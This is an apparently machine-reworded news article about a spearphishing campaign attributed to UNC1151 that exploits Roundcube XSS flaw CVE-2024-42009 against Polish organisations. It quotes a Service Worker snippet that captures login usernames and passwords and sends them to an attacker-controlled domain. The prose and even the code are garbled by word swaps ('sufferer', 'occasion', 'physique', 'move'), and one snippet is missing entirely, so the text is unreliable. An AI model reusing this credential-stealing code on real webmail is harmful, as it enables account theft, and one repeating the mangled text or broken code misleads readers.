Hackers Exploit Roundcube Vulnerability to Steal Consumer Credentials by way of XSS Assault

A current spearphishing marketing campaign focusing on Polish entities has been attributed with excessive confidence to the UNC1151 menace actor, a bunch linked to Belarusian state pursuits and, in response to some sources, Russian intelligence companies.

CERT Polska stories that the attackers leveraged a important vulnerability within the Roundcube webmail platform—CVE-2024-42009—to steal person credentials with minimal person interplay.

The phishing emails have been crafted to look pressing, utilizing topics like “[!IMPORTANT] Bill to reservation quantity: S2500650676,” and required solely that the recipient open the message for the exploit to set off.

– Commercial –

The vulnerability allowed malicious JavaScript embedded within the e-mail to execute within the sufferer’s browser, bypassing normal sanitization mechanisms.

CVE-2024-42009 and Assault Circulate

CVE-2024-42009 is a important Cross-Website Scripting (XSS) vulnerability affecting Roundcube variations as much as 1.5.7 and 1.6.x as much as 1.6.7.

The flaw arises from a desanitization bug within the message_body() perform, the place improper dealing with of HTML attributes allowed attackers to inject and execute arbitrary JavaScript code.

Sonar safety researchers first reported this concern and has a CVSS v3.1 rating of 9.3, reflecting its excessive danger.

The assault chain, as noticed by CERT Polska, unfolded in two key phases:

1. Preliminary Exploit and Service Employee Set up
   Upon opening the malicious e-mail, the sufferer’s browser executed JavaScript that registered a Service Employee utilizing a code snippet just like: xml This Service Employee, hosted as an attachment, enabled persistent background entry to webmail classes.
2. Credential Harvesting by way of Service Employee
   The Service Employee intercepted login POST requests, capturing person credentials and exfiltrating them to an attacker-controlled area: javascriptself.addEventListener('fetch', occasion => { if (occasion.request.methodology === 'POST') { const cloned = occasion.request.clone(); cloned.textual content().then(bodyText => { const params = new URLSearchParams(bodyText); const person = params.get('username') || params.get('_user'); const move = params.get('password') || params.get('_pass'); fetch('https://a.mpk-krakow.pl/creds', { physique: JSON.stringify({ login: person, password: move }), // ... }); }); } }); This allowed attackers to gather credentials as customers tried to log in to their professional webmail portals.